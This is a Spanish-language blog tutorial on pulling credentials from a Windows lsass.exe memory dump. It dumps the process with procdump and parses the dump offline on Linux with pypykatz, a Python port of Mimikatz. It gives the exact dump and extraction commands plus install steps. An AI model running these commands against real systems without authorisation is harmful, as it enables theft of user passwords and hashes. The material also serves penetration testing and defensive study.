3.07.2020

Extrayendo credenciales de un volcado de memoria de lssas.exe con Pypykatz

Cuando realizamos el dumpeo del proceso lssas.exe el siguiente paso es obtener las credenciales que se encuentren almacenadas en memoria valga la redundancia , muchas o gran parte de las veces llegamos a utilizar mimikatz para extraerlos, aquí tenemos el inconveniente que necesitamos un entorno windows para extraer los credenciales.


La herramienta que utilizamos para el volcado de memoria del proceso es procdump en esta prueba de ejemplo, puedes realizar este proceso con SharpSploit u otra según Procdump forma parte de suite de Sysinternals que tiene como objetivo el extraer la informacion que se encuentra en memoria obteniendo consigo si todo esta adecuadamente mal configurado extraemos credenciales.

El volcado del proceso lsass se realiza de la siguiente manera, aclarando que depende mucho la ejecución según el escenario de explotabilidad que tengamos.

procdump.exe -accepteula -ma lsass.exe fichero.dump


Teniendo como resultado el fichero lsass.dmp, como mencionamos en el inicio de la entrada, existen dos maneras para tratar el dumpeo, el primero es con mimikatz desde un windows con la misma arquitectura o también desde linux, para cual tenemos la alternativa que es  pypykatz.

Pypykatz es una implementación de Mimikatz  en Python, con la posibilidad de ser ejecutada en cualquier sistema operativo.

Instalación

Puedes ser realizado desde pip o sacando una copia del repositorio en github, ambos serán descritos a continuación. 

Instalando a través de PIP

Necesitamos tener instalado pip3 para realizar la instalación.

╭─ ~/SniferL4bs
╰─pip3 install pypykatz 

Las dependencias que necesitamos instalar previamente son las siguientes

╭─ ~/SniferL4bs
╰─ pip3 install minidump minikerberos aiowinreg msldap winsspi

Instalando desde Github


git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
python3 setup.py install

Solo debemos ejecutar en ambos casos pypykatz -h para ver las opciones de la herramienta.


╭─ ~/SniferL4bs                                                                                                                                                                    
╰─ pypykatz -h
usage: pypykatz [-h] [-v]
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake} ...

Pure Python implementation of Mimikatz --and more--

positional arguments:
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake}
commands
live                Get secrets from live machine
lsa                 Get secrets from memory dump
registry            Get secrets from registry files
nt                  Generates NT hash of the password
lm                  Generates LM hash of the password
dcc                 Generates DCC v1 (domain cached credentials version 1)
hash of the password
dcc2                Generates DCC v2 (domain cached credentials version 2)
hash of the password
gppass              Decrypt GP passwords
ldap                LDAP (live) related commands
dpapi               DPAPI (offline) related commands
sake                sake

optional arguments:
-h, --help            show this help message and exit
-v, --verbose

Necesitamos contar con el dumpeo del proceso para que el mismo sea tratado con pypykatz, el comando a ser utilizado es:

╭─ ~/SniferL4bs
╰─ pypykatz lsa minidump lsass.dmp 

Teniendo el siguiente resultado con los credenciales obtenidos en texto claro, si todo marcho adecuadamente para nosotros.



Para conocer un mayor detalle de la herramienta Pypykatz tenemos su WIKI en github de Pypykatz.

"La ignorancia está menos lejos de la verdad que el prejuicio." - Denis Diderot

Quieres que tratemos algun tema en el blog, avisanos en los comentarios, o en el grupo de Telegram.

Regards,
Snifer
Compartir:

0 comentarios:

Publicar un comentario

Hola visitante! deja tu comentario sobre la entrada no spam!